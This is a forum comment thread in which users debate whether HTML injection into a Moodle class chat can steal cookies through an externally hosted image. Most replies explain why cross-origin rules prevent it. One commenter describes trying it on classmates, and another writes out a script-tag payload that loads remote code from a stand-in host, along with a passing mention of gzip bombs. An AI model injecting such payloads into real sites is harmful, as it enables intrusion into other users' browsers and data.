4 ms·
Except a browser doesn’t send cookies from one random domain to an “image” hosted on another domain, hence no “theft”. Cross origin cookie rules have been the s
by jsjohnst 8y ago
Except a browser doesn’t send cookies from one random domain to an “image” hosted on another domain, hence no “theft”. Cross origin cookie rules have been the same for eons.
- atum47 8y agoWell, it worked for me. I was using Moodle in class and the teacher opened a chat so we can all discuss some project; I realized the chat accepts html and wrote this script. I hosted it on my website and it worked.
- jsjohnst 8y agoI call bullshit unless this class was 20 years ago.
- atum47 8y agoDude, look at this video: https://youtu.be/KaEj_qZgiKY?t=181 https://youtu.be/KaEj_qZgiKY?t=181
- laomona 8y agoThe cookies from the image domain are the ones that will be sent, not the ones from the domain that the image is displayed on. Hence, doesn't work unless you can host your php on the targeted domain
- jsjohnst 8y agoExactly. This is like a script kiddie in the early 2000s on IRC insisting “I can steal cookies” demonstrating it on his own website and not understanding that it means nothing.
- sshine 8y agoIf the site you're injecting HTML into has some crazy HTTP headers set (Access-Control-Allow-Origin: *) then yes you can: https://stackoverflow.com/a/25861695/235908 https://stackoverflow.com/a/25861695/235908 By default you cannot. If the site you're testing with allows arbitrary image embeds, maybe they're that crazy, since even without stealing cookies you can still gzip bomb: https://bomb.codes https://bomb.codes
- onion2k 8y agoIf you can inject any HTML then you could put a <script src="//yoursite.com/hacks.js"></script> tag in there and make arbitrary requests on the user's computer, fingerprint their browser, and much, much more.
- dplgk 8y agoDo you think this is so simple yet you've uncovered something nobody noticed before? The odds are that you're misunderstanding it.